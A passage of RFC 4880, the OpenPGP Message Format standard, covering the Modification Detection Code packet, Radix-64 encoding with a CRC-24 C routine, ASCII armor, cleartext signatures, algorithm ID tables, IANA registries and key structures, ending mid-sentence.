Frank, wishes to send + Alice a (digitally) unsigned message that says, "I've always + secretly loved you, signed Bob", it is far easier for him to + construct a new message than it is to modify anything intercepted + from Bob. (Note also that if Bob wishes to communicate secretly + with Alice, but without authentication or identification and with + a threat model that includes forgers, he has a problem that + transcends mere cryptography.) + + Note also that unlike nearly every other OpenPGP subsystem, there + are no parameters in the MDC system. It hard-defines SHA-1 as its + hash function. This is not an accident. It is an intentional + choice to avoid downgrade and cross-grade attacks while making a + simple, fast system. (A downgrade attack would be an attack that + replaced SHA-256 with SHA-1, for example. A cross-grade attack + would replace SHA-1 with another 160-bit hash, such as RIPE- + MD/160, for example.) + + However, given the present state of hash function cryptanalysis + and cryptography, it may be desirable to upgrade the MDC system to + a new hash function. See Section 13.11 in the "IANA + Considerations" for guidance. + +5.14. Modification Detection Code Packet (Tag 19) + + The Modification Detection Code packet contains a SHA-1 hash of + plaintext data, which is used to detect message modification. It is + only used with a Symmetrically Encrypted Integrity Protected Data + packet. The Modification Detection Code packet MUST be the last + packet in the plaintext data that is encrypted in the Symmetrically + Encrypted Integrity Protected Data packet, and MUST appear in no + other place. + + A Modification Detection Code packet MUST have a length of 20 octets. + + + + + + + + + +Callas, et al Standards Track [Page 52] + +RFC 4880 OpenPGP Message Format November 2007 + + + The body of this packet consists of: + + - A 20-octet SHA-1 hash of the preceding plaintext data of the + Symmetrically Encrypted Integrity Protected Data packet, + including prefix data, the tag octet, and length octet of the + Modification Detection Code packet. + + Note that the Modification Detection Code packet MUST always use a + new format encoding of the packet tag, and a one-octet encoding of + the packet length. The reason for this is that the hashing rules for + modification detection include a one-octet tag and one-octet length + in the data hash. While this is a bit restrictive, it reduces + complexity. + +6. Radix-64 Conversions + + As stated in the introduction, OpenPGP's underlying native + representation for objects is a stream of arbitrary octets, and some + systems desire these objects to be immune to damage caused by + character set translation, data conversions, etc. + + In principle, any printable encoding scheme that met the requirements + of the unsafe channel would suffice, since it would not change the + underlying binary bit streams of the native OpenPGP data structures. + The OpenPGP standard specifies one such printable encoding scheme to + ensure interoperability. + + OpenPGP's Radix-64 encoding is composed of two parts: a base64 + encoding of the binary data and a checksum. The base64 encoding is + identical to the MIME base64 content-transfer-encoding [RFC2045]. + + The checksum is a 24-bit Cyclic Redundancy Check (CRC) converted to + four characters of radix-64 encoding by the same MIME base64 + transformation, preceded by an equal sign (=). The CRC is computed + by using the generator 0x864CFB and an initialization of 0xB704CE. + The accumulation is done on the data before it is converted to + radix-64, rather than on the converted data. A sample implementation + of this algorithm is in the next section. + + The checksum with its leading equal sign MAY appear on the first line + after the base64 encoded data. + + Rationale for CRC-24: The size of 24 bits fits evenly into printable + base64. The nonzero initialization can detect more errors than a + zero initialization. + + + + + + +Callas, et al Standards Track [Page 53] + +RFC 4880 OpenPGP Message Format November 2007 + + +6.1. An Implementation of the CRC-24 in "C" + + #define CRC24_INIT 0xB704CEL + #define CRC24_POLY 0x1864CFBL + + typedef long crc24; + crc24 crc_octets(unsigned char *octets, size_t len) + { + crc24 crc = CRC24_INIT; + int i; + while (len--) { + crc ^= (*octets++) << 16; + for (i = 0; i < 8; i++) { + crc <<= 1; + if (crc & 0x1000000) + crc ^= CRC24_POLY; + } + } + return crc & 0xFFFFFFL; + } + +6.2. Forming ASCII Armor + + When OpenPGP encodes data into ASCII Armor, it puts specific headers + around the Radix-64 encoded data, so OpenPGP can reconstruct the data + later. An OpenPGP implementation MAY use ASCII armor to protect raw + binary data. OpenPGP informs the user what kind of data is encoded + in the ASCII armor through the use of the headers. + + Concatenating the following data creates ASCII Armor: + + - An Armor Header Line, appropriate for the type of data + + - Armor Headers + + - A blank (zero-length, or containing only whitespace) line + + - The ASCII-Armored data + + - An Armor Checksum + + - The Armor Tail, which depends on the Armor Header Line + + An Armor Header Line consists of the appropriate header line text + surrounded by five (5) dashes ('-', 0x2D) on either side of the + header line text. The header line text is chosen based upon the type + of data that is being encoded in Armor, and how it is being encoded. + Header line texts include the following strings: + + + +Callas, et al Standards Track [Page 54] + +RFC 4880 OpenPGP Message Format November 2007 + + + BEGIN PGP MESSAGE + Used for signed, encrypted, or compressed files. + + BEGIN PGP PUBLIC KEY BLOCK + Used for armoring public keys. + + BEGIN PGP PRIVATE KEY BLOCK + Used for armoring private keys. + + BEGIN PGP MESSAGE, PART X/Y + Used for multi-part messages, where the armor is split amongst Y + parts, and this is the Xth part out of Y. + + BEGIN PGP MESSAGE, PART X + Used for multi-part messages, where this is the Xth part of an + unspecified number of parts. Requires the MESSAGE-ID Armor + Header to be used. + + BEGIN PGP SIGNATURE + Used for detached signatures, OpenPGP/MIME signatures, and + cleartext signatures. Note that PGP 2.x uses BEGIN PGP MESSAGE + for detached signatures. + + Note that all these Armor Header Lines are to consist of a complete + line. That is to say, there is always a line ending preceding the + starting five dashes, and following the ending five dashes. The + header lines, therefore, MUST start at the beginning of a line, and + MUST NOT have text other than whitespace following them on the same + line. These line endings are considered a part of the Armor Header + Line for the purposes of determining the content they delimit. This + is particularly important when computing a cleartext signature (see + below). + + The Armor Headers are pairs of strings that can give the user or the + receiving OpenPGP implementation some information about how to decode + or use the message. The Armor Headers are a part of the armor, not a + part of the message, and hence are not protected by any signatures + applied to the message. + + The format of an Armor Header is that of a key-value pair. A colon + (':' 0x38) and a single space (0x20) separate the key and value. + OpenPGP should consider improperly formatted Armor Headers to be + corruption of the ASCII Armor. Unknown keys should be reported to + the user, but OpenPGP should continue to process the message. + + Note that some transport methods are sensitive to line length. While + there is a limit of 76 characters for the Radix-64 data (Section + 6.3), there is no limit to the length of Armor Headers. Care should + + + +Callas, et al Standards Track [Page 55] + +RFC 4880 OpenPGP Message Format November 2007 + + + be taken that the Armor Headers are short enough to survive + transport. One way to do this is to repeat an Armor Header key + multiple times with different values for each so that no one line is + overly long. + + Currently defined Armor Header Keys are as follows: + + - "Version", which states the OpenPGP implementation and version + used to encode the message. + + - "Comment", a user-defined comment. OpenPGP defines all text to + be in UTF-8. A comment may be any UTF-8 string. However, the + whole point of armoring is to provide seven-bit-clean data. + Consequently, if a comment has characters that are outside the + US-ASCII range of UTF, they may very well not survive transport. + + - "MessageID", a 32-character string of printable characters. The + string must be the same for all parts of a multi-part message + that uses the "PART X" Armor Header. MessageID strings should be + unique enough that the recipient of the mail can associate all + the parts of a message with each other. A good checksum or + cryptographic hash function is sufficient. + + The MessageID SHOULD NOT appear unless it is in a multi-part + message. If it appears at all, it MUST be computed from the + finished (encrypted, signed, etc.) message in a deterministic + fashion, rather than contain a purely random value. This is to + allow the legitimate recipient to determine that the MessageID + cannot serve as a covert means of leaking cryptographic key + information. + + - "Hash", a comma-separated list of hash algorithms used in this + message. This is used only in cleartext signed messages. + + - "Charset", a description of the character set that the plaintext + is in. Please note that OpenPGP defines text to be in UTF-8. An + implementation will get best results by translating into and out + of UTF-8. However, there are many instances where this is easier + said than done. Also, there are communities of users who have no + need for UTF-8 because they are all happy with a character set + like ISO Latin-5 or a Japanese character set. In such instances, + an implementation MAY override the UTF-8 default by using this + header key. An implementation MAY implement this key and any + translations it cares to; an implementation MAY ignore it and + assume all text is UTF-8. + + + + + + +Callas, et al Standards Track [Page 56] + +RFC 4880 OpenPGP Message Format November 2007 + + + The Armor Tail Line is composed in the same manner as the Armor + Header Line, except the string "BEGIN" is replaced by the string + "END". + +6.3. Encoding Binary in Radix-64 + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating three 8-bit input + groups. These 24 bits are then treated as four concatenated 6-bit + groups, each of which is translated into a single digit in the + Radix-64 alphabet. When encoding a bit stream with the Radix-64 + encoding, the bit stream must be presumed to be ordered with the most + significant bit first. That is, the first bit in the stream will be + the high-order bit in the first 8-bit octet, and the eighth bit will + be the low-order bit in the first 8-bit octet, and so on. + + +--first octet--+-second octet--+--third octet--+ + |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| + +-----------+---+-------+-------+---+-----------+ + |5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0| + +--1.index--+--2.index--+--3.index--+--4.index--+ + + Each 6-bit group is used as an index into an array of 64 printable + characters from the table below. The character referenced by the + index is placed in the output string. + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + The encoded output stream must be represented in lines of no more + than 76 characters each. + + + +Callas, et al Standards Track [Page 57] + +RFC 4880 OpenPGP Message Format November 2007 + + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. There are three possibilities: + + 1. The last data group has 24 bits (3 octets). No special processing + is needed. + + 2. The last data group has 16 bits (2 octets). The first two 6-bit + groups are processed as above. The third (incomplete) data group + has two zero-value bits added to it, and is processed as above. A + pad character (=) is added to the output. + + 3. The last data group has 8 bits (1 octet). The first 6-bit group + is processed as above. The second (incomplete) data group has + four zero-value bits added to it, and is processed as above. Two + pad characters (=) are added to the output. + +6.4. Decoding Radix-64 + + In Radix-64 data, characters other than those in the table, line + breaks, and other white space probably indicate a transmission error, + about which a warning message or even a message rejection might be + appropriate under some circumstances. Decoding software must ignore + all white space. + + Because it is used only for padding at the end of the data, the + occurrence of any "=" characters may be taken as evidence that the + end of the data has been reached (without truncation in transit). No + such assurance is possible, however, when the number of octets + transmitted was a multiple of three and no "=" characters are + present. + + + + + + + + + + + + + + + + + + + + + +Callas, et al Standards Track [Page 58] + +RFC 4880 OpenPGP Message Format November 2007 + + +6.5. Examples of Radix-64 + + Input data: 0x14FB9C03D97E + Hex: 1 4 F B 9 C | 0 3 D 9 7 E + 8-bit: 00010100 11111011 10011100 | 00000011 11011001 11111110 + 6-bit: 000101 001111 101110 011100 | 000000 111101 100111 111110 + Decimal: 5 15 46 28 0 61 37 62 + Output: F P u c A 9 l + + Input data: 0x14FB9C03D9 + Hex: 1 4 F B 9 C | 0 3 D 9 + 8-bit: 00010100 11111011 10011100 | 00000011 11011001 + pad with 00 + 6-bit: 000101 001111 101110 011100 | 000000 111101 100100 + Decimal: 5 15 46 28 0 61 36 + pad with = + Output: F P u c A 9 k = + Input data: 0x14FB9C03 + Hex: 1 4 F B 9 C | 0 3 + 8-bit: 00010100 11111011 10011100 | 00000011 + pad with 0000 + 6-bit: 000101 001111 101110 011100 | 000000 110000 + Decimal: 5 15 46 28 0 48 + pad with = = + Output: F P u c A w = = + +6.6. Example of an ASCII Armored Message + + -----BEGIN PGP MESSAGE----- + Version: OpenPrivacy 0.99 + + yDgBO22WxBHv7O8X7O/jygAEzol56iUKiXmV+XmpCtmpqQUKiQrFqclFqUDBovzS + vBSFjNSiVHsuAA== + =njUN + -----END PGP MESSAGE----- + + Note that this example has extra indenting; an actual armored message + would have no leading whitespace. + +7. Cleartext Signature Framework + + It is desirable to be able to sign a textual octet stream without + ASCII armoring the stream itself, so the signed text is still + readable without special software. In order to bind a signature to + such a cleartext, this framework is used. (Note that this framework + is not intended to be reversible. RFC 3156 [RFC3156] defines another + way to sign cleartext messages for environments that support MIME.) + + + + + +Callas, et al Standards Track [Page 59] + +RFC 4880 OpenPGP Message Format November 2007 + + + The cleartext signed message consists of: + + - The cleartext header '-----BEGIN PGP SIGNED MESSAGE-----' on a + single line, + + - One or more "Hash" Armor Headers, + + - Exactly one empty line not included into the message digest, + + - The dash-escaped cleartext that is included into the message + digest, + + - The ASCII armored signature(s) including the '-----BEGIN PGP + SIGNATURE-----' Armor Header and Armor Tail Lines. + + If the "Hash" Armor Header is given, the specified message digest + algorithm(s) are used for the signature. If there are no such + headers, MD5 is used. If MD5 is the only hash used, then an + implementation MAY omit this header for improved V2.x compatibility. + If more than one message digest is used in the signature, the "Hash" + armor header contains a comma-delimited list of used message digests. + + Current message digest names are described below with the algorithm + IDs. + + An implementation SHOULD add a line break after the cleartext, but + MAY omit it if the cleartext ends with a line break. This is for + visual clarity. + +7.1. Dash-Escaped Text + + The cleartext content of the message must also be dash-escaped. + + Dash-escaped cleartext is the ordinary cleartext where every line + starting with a dash '-' (0x2D) is prefixed by the sequence dash '-' + (0x2D) and space ' ' (0x20). This prevents the parser from + recognizing armor headers of the cleartext itself. An implementation + MAY dash-escape any line, SHOULD dash-escape lines commencing "From" + followed by a space, and MUST dash-escape any line commencing in a + dash. The message digest is computed using the cleartext itself, not + the dash-escaped form. + + As with binary signatures on text documents, a cleartext signature is + calculated on the text using canonical line endings. The + line ending (i.e., the ) before the '-----BEGIN PGP + SIGNATURE-----' line that terminates the signed text is not + considered part of the signed text. + + + + +Callas, et al Standards Track [Page 60] + +RFC 4880 OpenPGP Message Format November 2007 + + + When reversing dash-escaping, an implementation MUST strip the string + "- " if it occurs at the beginning of a line, and SHOULD warn on "-" + and any character other than a space at the beginning of a line. + + Also, any trailing whitespace -- spaces (0x20) and tabs (0x09) -- at + the end of any line is removed when the cleartext signature is + generated. + +8. Regular Expressions + + A regular expression is zero or more branches, separated by '|'. It + matches anything that matches one of the branches. + + A branch is zero or more pieces, concatenated. It matches a match + for the first, followed by a match for the second, etc. + + A piece is an atom possibly followed by '*', '+', or '?'. An atom + followed by '*' matches a sequence of 0 or more matches of the atom. + An atom followed by '+' matches a sequence of 1 or more matches of + the atom. An atom followed by '?' matches a match of the atom, or + the null string. + + An atom is a regular expression in parentheses (matching a match for + the regular expression), a range (see below), '.' (matching any + single character), '^' (matching the null string at the beginning of + the input string), '$' (matching the null string at the end of the + input string), a '\' followed by a single character (matching that + character), or a single character with no other significance + (matching that character). + + A range is a sequence of characters enclosed in '[]'. It normally + matches any single character from the sequence. If the sequence + begins with '^', it matches any single character not from the rest of + the sequence. If two characters in the sequence are separated + by '-', this is shorthand for the full list of ASCII characters + between them (e.g., '[0-9]' matches any decimal digit). To include a + literal ']' in the sequence, make it the first character (following a + possible '^'). To include a literal '-', make it the first or last + character. + +9. Constants + + This section describes the constants used in OpenPGP. + + Note that these tables are not exhaustive lists; an implementation + MAY implement an algorithm not on these lists, so long as the + algorithm numbers are chosen from the private or experimental + algorithm range. + + + +Callas, et al Standards Track [Page 61] + +RFC 4880 OpenPGP Message Format November 2007 + + + See the section "Notes on Algorithms" below for more discussion of + the algorithms. + +9.1. Public-Key Algorithms + + ID Algorithm + -- --------- + 1 - RSA (Encrypt or Sign) [HAC] + 2 - RSA Encrypt-Only [HAC] + 3 - RSA Sign-Only [HAC] + 16 - Elgamal (Encrypt-Only) [ELGAMAL] [HAC] + 17 - DSA (Digital Signature Algorithm) [FIPS186] [HAC] + 18 - Reserved for Elliptic Curve + 19 - Reserved for ECDSA + 20 - Reserved (formerly Elgamal Encrypt or Sign) + 21 - Reserved for Diffie-Hellman (X9.42, + as defined for IETF-S/MIME) + 100 to 110 - Private/Experimental algorithm + + Implementations MUST implement DSA for signatures, and Elgamal for + encryption. Implementations SHOULD implement RSA keys (1). RSA + Encrypt-Only (2) and RSA Sign-Only are deprecated and SHOULD NOT be + generated, but may be interpreted. See Section 13.5. See Section + 13.8 for notes on Elliptic Curve (18), ECDSA (19), Elgamal Encrypt or + Sign (20), and X9.42 (21). Implementations MAY implement any other + algorithm. + +9.2. Symmetric-Key Algorithms + + ID Algorithm + -- --------- + 0 - Plaintext or unencrypted data + 1 - IDEA [IDEA] + 2 - TripleDES (DES-EDE, [SCHNEIER] [HAC] - + 168 bit key derived from 192) + 3 - CAST5 (128 bit key, as per [RFC2144]) + 4 - Blowfish (128 bit key, 16 rounds) [BLOWFISH] + 5 - Reserved + 6 - Reserved + 7 - AES with 128-bit key [AES] + 8 - AES with 192-bit key + 9 - AES with 256-bit key + 10 - Twofish with 256-bit key [TWOFISH] + 100 to 110 - Private/Experimental algorithm + + Implementations MUST implement TripleDES. Implementations SHOULD + implement AES-128 and CAST5. Implementations that interoperate with + + + + +Callas, et al Standards Track [Page 62] + +RFC 4880 OpenPGP Message Format November 2007 + + + PGP 2.6 or earlier need to support IDEA, as that is the only + symmetric cipher those versions use. Implementations MAY implement + any other algorithm. + +9.3. Compression Algorithms + + ID Algorithm + -- --------- + 0 - Uncompressed + 1 - ZIP [RFC1951] + 2 - ZLIB [RFC1950] + 3 - BZip2 [BZ2] + 100 to 110 - Private/Experimental algorithm + + Implementations MUST implement uncompressed data. Implementations + SHOULD implement ZIP. Implementations MAY implement any other + algorithm. + +9.4. Hash Algorithms + + ID Algorithm Text Name + -- --------- --------- + 1 - MD5 [HAC] "MD5" + 2 - SHA-1 [FIPS180] "SHA1" + 3 - RIPE-MD/160 [HAC] "RIPEMD160" + 4 - Reserved + 5 - Reserved + 6 - Reserved + 7 - Reserved + 8 - SHA256 [FIPS180] "SHA256" + 9 - SHA384 [FIPS180] "SHA384" + 10 - SHA512 [FIPS180] "SHA512" + 11 - SHA224 [FIPS180] "SHA224" + 100 to 110 - Private/Experimental algorithm + + Implementations MUST implement SHA-1. Implementations MAY implement + other algorithms. MD5 is deprecated. + +10. IANA Considerations + + OpenPGP is highly parameterized, and consequently there are a number + of considerations for allocating parameters for extensions. This + section describes how IANA should look at extensions to the protocol + as described in this document. + + + + + + + +Callas, et al Standards Track [Page 63] + +RFC 4880 OpenPGP Message Format November 2007 + + +10.1. New String-to-Key Specifier Types + + OpenPGP S2K specifiers contain a mechanism for new algorithms to turn + a string into a key. This specification creates a registry of S2K + specifier types. The registry includes the S2K type, the name of the + S2K, and a reference to the defining specification. The initial + values for this registry can be found in Section 3.7.1. Adding a new + S2K specifier MUST be done through the IETF CONSENSUS method, as + described in [RFC2434]. + +10.2. New Packets + + Major new features of OpenPGP are defined through new packet types. + This specification creates a registry of packet types. The registry + includes the packet type, the name of the packet, and a reference to + the defining specification. The initial values for this registry can + be found in Section 4.3. Adding a new packet type MUST be done + through the IETF CONSENSUS method, as described in [RFC2434]. + +10.2.1. User Attribute Types + + The User Attribute packet permits an extensible mechanism for other + types of certificate identification. This specification creates a + registry of User Attribute types. The registry includes the User + Attribute type, the name of the User Attribute, and a reference to + the defining specification. The initial values for this registry can + be found in Section 5.12. Adding a new User Attribute type MUST be + done through the IETF CONSENSUS method, as described in [RFC2434]. + +10.2.1.1. Image Format Subpacket Types + + Within User Attribute packets, there is an extensible mechanism for + other types of image-based user attributes. This specification + creates a registry of Image Attribute subpacket types. The registry + includes the Image Attribute subpacket type, the name of the Image + Attribute subpacket, and a reference to the defining specification. + The initial values for this registry can be found in Section 5.12.1. + Adding a new Image Attribute subpacket type MUST be done through the + IETF CONSENSUS method, as described in [RFC2434]. + +10.2.2. New Signature Subpackets + + OpenPGP signatures contain a mechanism for signed (or unsigned) data + to be added to them for a variety of purposes in the Signature + subpackets as discussed in Section 5.2.3.1. This specification + creates a registry of Signature subpacket types. The registry + includes the Signature subpacket type, the name of the subpacket, and + a reference to the defining specification. The initial values for + + + +Callas, et al Standards Track [Page 64] + +RFC 4880 OpenPGP Message Format November 2007 + + + this registry can be found in Section 5.2.3.1. Adding a new + Signature subpacket MUST be done through the IETF CONSENSUS method, + as described in [RFC2434]. + +10.2.2.1. Signature Notation Data Subpackets + + OpenPGP signatures further contain a mechanism for extensions in + signatures. These are the Notation Data subpackets, which contain a + key/value pair. Notations contain a user space that is completely + unmanaged and an IETF space. + + This specification creates a registry of Signature Notation Data + types. The registry includes the Signature Notation Data type, the + name of the Signature Notation Data, its allowed values, and a + reference to the defining specification. The initial values for this + registry can be found in Section 5.2.3.16. Adding a new Signature + Notation Data subpacket MUST be done through the EXPERT REVIEW + method, as described in [RFC2434]. + +10.2.2.2. Key Server Preference Extensions + + OpenPGP signatures contain a mechanism for preferences to be + specified about key servers. This specification creates a registry + of key server preferences. The registry includes the key server + preference, the name of the preference, and a reference to the + defining specification. The initial values for this registry can be + found in Section 5.2.3.17. Adding a new key server preference MUST + be done through the IETF CONSENSUS method, as described in [RFC2434]. + +10.2.2.3. Key Flags Extensions + + OpenPGP signatures contain a mechanism for flags to be specified + about key usage. This specification creates a registry of key usage + flags. The registry includes the key flags value, the name of the + flag, and a reference to the defining specification. The initial + values for this registry can be found in Section 5.2.3.21. Adding a + new key usage flag MUST be done through the IETF CONSENSUS method, as + described in [RFC2434]. + +10.2.2.4. Reason for Revocation Extensions + + OpenPGP signatures contain a mechanism for flags to be specified + about why a key was revoked. This specification creates a registry + of "Reason for Revocation" flags. The registry includes the "Reason + for Revocation" flags value, the name of the flag, and a reference to + the defining specification. The initial values for this registry can + be found in Section 5.2.3.23. Adding a new feature flag MUST be done + through the IETF CONSENSUS method, as described in [RFC2434]. + + + +Callas, et al Standards Track [Page 65] + +RFC 4880 OpenPGP Message Format November 2007 + + +10.2.2.5. Implementation Features + + OpenPGP signatures contain a mechanism for flags to be specified + stating which optional features an implementation supports. This + specification creates a registry of feature-implementation flags. + The registry includes the feature-implementation flags value, the + name of the flag, and a reference to the defining specification. The + initial values for this registry can be found in Section 5.2.3.24. + Adding a new feature-implementation flag MUST be done through the + IETF CONSENSUS method, as described in [RFC2434]. + + Also see Section 13.12 for more information about when feature flags + are needed. + +10.2.3. New Packet Versions + + The core OpenPGP packets all have version numbers, and can be revised + by introducing a new version of an existing packet. This + specification creates a registry of packet types. The registry + includes the packet type, the number of the version, and a reference + to the defining specification. The initial values for this registry + can be found in Section 5. Adding a new packet version MUST be done + through the IETF CONSENSUS method, as described in [RFC2434]. + +10.3. New Algorithms + + Section 9 lists the core algorithms that OpenPGP uses. Adding in a + new algorithm is usually simple. For example, adding in a new + symmetric cipher usually would not need anything more than allocating + a constant for that cipher. If that cipher had other than a 64-bit + or 128-bit block size, there might need to be additional + documentation describing how OpenPGP-CFB mode would be adjusted. + Similarly, when DSA was expanded from a maximum of 1024-bit public + keys to 3072-bit public keys, the revision of FIPS 186 contained + enough information itself to allow implementation. Changes to this + document were made mainly for emphasis. + +10.3.1. Public-Key Algorithms + + OpenPGP specifies a number of public-key algorithms. This + specification creates a registry of public-key algorithm identifiers. + The registry includes the algorithm name, its key sizes and + parameters, and a reference to the defining specification. The + initial values for this registry can be found in Section 9. Adding a + new public-key algorithm MUST be done through the IETF CONSENSUS + method, as described in [RFC2434]. + + + + + +Callas, et al Standards Track [Page 66] + +RFC 4880 OpenPGP Message Format November 2007 + + +10.3.2. Symmetric-Key Algorithms + + OpenPGP specifies a number of symmetric-key algorithms. This + specification creates a registry of symmetric-key algorithm + identifiers. The registry includes the algorithm name, its key sizes + and block size, and a reference to the defining specification. The + initial values for this registry can be found in Section 9. Adding a + new symmetric-key algorithm MUST be done through the IETF CONSENSUS + method, as described in [RFC2434]. + +10.3.3. Hash Algorithms + + OpenPGP specifies a number of hash algorithms. This specification + creates a registry of hash algorithm identifiers. The registry + includes the algorithm name, a text representation of that name, its + block size, an OID hash prefix, and a reference to the defining + specification. The initial values for this registry can be found in + Section 9 for the algorithm identifiers and text names, and Section + 5.2.2 for the OIDs and expanded signature prefixes. Adding a new + hash algorithm MUST be done through the IETF CONSENSUS method, as + described in [RFC2434]. + +10.3.4. Compression Algorithms + + OpenPGP specifies a number of compression algorithms. This + specification creates a registry of compression algorithm + identifiers. The registry includes the algorithm name and a + reference to the defining specification. The initial values for this + registry can be found in Section 9.3. Adding a new compression key + algorithm MUST be done through the IETF CONSENSUS method, as + described in [RFC2434]. + +11. Packet Composition + + OpenPGP packets are assembled into sequences in order to create + messages and to transfer keys. Not all possible packet sequences are + meaningful and correct. This section describes the rules for how + packets should be placed into sequences. + +11.1. Transferable Public Keys + + OpenPGP users may transfer public keys. The essential elements of a + transferable public key are as follows: + + - One Public-Key packet + + - Zero or more revocation signatures + + + + +Callas, et al Standards Track [Page 67] + +RFC 4880 OpenPGP Message Format November 2007 + + + - One or more User ID packets + + - After each User ID packet, zero or more Signature packets + (certifications) + + - Zero or more User Attribute packets + + - After each User Attribute packet, zero or more Signature packets + (certifications) + + - Zero or more Subkey packets + + - After each Subkey packet, one Signature packet, plus optionally a + revocation + + The Public-Key packet occurs first. Each of the following User ID + packets provides the identity of the owner of this public key. If + there are multiple User ID packets, this corresponds to multiple + means of identifying the same unique individual user; for example, a + user may have more than one email address, and construct a User ID + for each one. + + Immediately following each User ID packet, there are zero or more + Signature packets. Each Signature packet is calculated on the + immediately preceding User ID packet and the initial Public-Key + packet. The signature serves to certify the corresponding public key + and User ID. In effect, the signer is testifying to his or her + belief that this public key belongs to the user identified by this + User ID. + + Within the same section as the User ID packets, there are zero or + more User Attribute packets. Like the User ID packets, a User + Attribute packet is followed by zero or more Signature packets + calculated on the immediately preceding User Attribute packet and the + initial Public-Key packet. + + User Attribute packets and User ID packets may be freely intermixed + in this section, so long as the signatures that follow them are + maintained on the proper User Attribute or User ID packet. + + After the User ID packet or Attribute packet, there may be zero or + more Subkey packets. In general, subkeys are provided in cases where + the top-level public key is a signature-only key. However, any V4 + key may have subkeys, and the subkeys may be encryption-only keys, + signature-only keys, or general-purpose keys. V3 keys MUST NOT have + subkeys. + + + + + +Callas, et al Standards Track [Page 68] + +RFC 4880 OpenPGP Message Format November 2007 + + + Each Subkey packet MUST be followed by one Signature packet, which + should be a subkey binding signature issued by the top-level key. + For subkeys that can issue signatures, the subkey binding signature + MUST contain an Embedded Signature subpacket with a primary key + binding signature (0x19) issued by the subkey on the top-level key. + + Subkey and Key packets may each be followed by a revocation Signature + packet to indicate that the key is revoked. Revocation signatures + are only accepted if they are issued by the key itself, or by a key + that is authorized to issue revocations via a Revocation Key + subpacket in a self-signature by the top-level key. + + Transferable public-key packet sequences may be concatenated to allow + transferring multiple public keys in one operation. + +11.2. Transferable Secret Keys + + OpenPGP users may transfer secret keys. The format of a transferable + secret key is the same as a transferable public key except that + secret-key and secret-subkey packets are used instead of the public + key and public-subkey packets. Implementations SHOULD include self- + signatures on any user IDs and subkeys, as this allows for a complete + public key to be automatically extracted from the transferable secret + key. Implementations MAY choose to omit the self-signatures, + especially if a transferable public key accompanies the transferable + secret key. + +11.3. OpenPGP Messages + + An OpenPGP message is a packet or sequence of packets that + corresponds to the following grammatical rules (comma represents + sequential composition, and vertical bar separates alternatives): + + OpenPGP Message :- Encrypted Message | Signed Message | + Compressed Message | Literal Message. + + Compressed Message :- Compressed Data Packet. + + Literal Message :- Literal Data Packet. + + ESK :- Public-Key Encrypted Session Key Packet | + Symmetric-Key Encrypted Session Key Packet. + + ESK Sequence :- ESK | ESK Sequence, ESK. + + Encrypted Data :- Symmetrically Encrypted Data Packet | + Symmetrically Encrypted Integrity Protected Data Packet + + + + +Callas, et al Standards Track [Page 69] + +RFC 4880 OpenPGP Message Format November 2007 + + + Encrypted Message :- Encrypted Data | ESK Sequence, Encrypted Data. + + One-Pass Signed Message :- One-Pass Signature Packet, + OpenPGP Message, Corresponding Signature Packet. + + Signed Message :- Signature Packet, OpenPGP Message | + One-Pass Signed Message. + + In addition, decrypting a Symmetrically Encrypted Data packet or a + Symmetrically Encrypted Integrity Protected Data packet as well as + decompressing a Compressed Data packet must yield a valid OpenPGP + Message. + +11.4. Detached Signatures + + Some OpenPGP applications use so-called "detached signatures". For + example, a program bundle may contain a file, and with it a second + file that is a detached signature of the first file. These detached + signatures are simply a Signature packet stored separately from the + data for which they are a signature. + +12. Enhanced Key Formats + +12.1. Key Structures + + The format of an OpenPGP V3 key is as follows. Entries in square + brackets are optional and ellipses indicate repetition. + + RSA Public Key + [Revocation Self Signature] + User ID [Signature ...] + [User ID [Signature ...] ...] + + Each signature certifies the RSA public key and the preceding User + ID. The RSA public key can have many User IDs and each User ID can + have many signatures. V3 keys are deprecated. Implementations MUST + NOT generate new V3 keys, but MAY continue to use existing ones. + + The format of an OpenPGP V4 key that uses multiple public keys is + similar except that the other keys are added to the end as "subkeys" + of the primary key. + + + + + + + + + + +Callas, et al Standards Track [Page 70] + +RFC 4880 OpenPGP Message Format November 2007 + + + Primary-Key + [Revocation Self Signature] + [Direct Key Signature...] + User ID [Signature ...] + [User ID [Signature ...] ...] + [User Attribute [Signature ...] ...] + [[Subkey [Binding-Signature-Revocation] + Primary-Key-Binding-Signature] ...] + + A subkey always has a single signature after it that is issued using + the primary key to tie the two keys together. This binding signature + may be in either V3 or V4 format, but SHOULD be V4. Subkeys that can + issue signatures MUST have a V4 binding signature due to the REQUIRED + embedded primary key binding signature. + + In the above diagram, if the binding signature of a subkey has been + revoked, the revoked key may be removed, leaving only one key. + + In a V4 key, the primary key MUST be a key capable of certification. + The subkeys may be keys of any other type. There may be other + constructions of V4 keys, too. For example, there may be a single- + key RSA key in V4 format, a DSA primary key with an RSA encryption + key, or RSA primary key with an Elgamal subkey, etc. + + It is also possible to have a signature-only subkey. This permits a + primary key that collects certifications (key signatures), but is + used only for certifying subkeys that are used for encryption and + signatures. + +12.2. Key IDs and Fingerprints + + For a V3 key, the eight-octet Key ID consists of the low 64 bits of + the public modulus of the RSA key. + + The fingerprint of a V3 key is formed by hashing the body (but not + the two-octet length) of the MPIs that form the key material (public + modulus n, followed by exponent e) with MD5. Note that both V3 keys + and MD5 are deprecated. + + A V4 fingerprint is the 160-bit SHA-1 hash of the octet 0x99, + followed by the two-octet packet length, followed by the entire + Public-Key packet starting with the version field. The Key ID is the + low-order 64 bits of the fingerprint. Here are the fields of the + hash material, with the example of a DSA key: + + a.1) 0x99 (1 octet) + + a.2) high-order length octet of (b)-(e) (1 octet) + + + +Callas, et al Standards Track [Page 71] + +RFC 4880 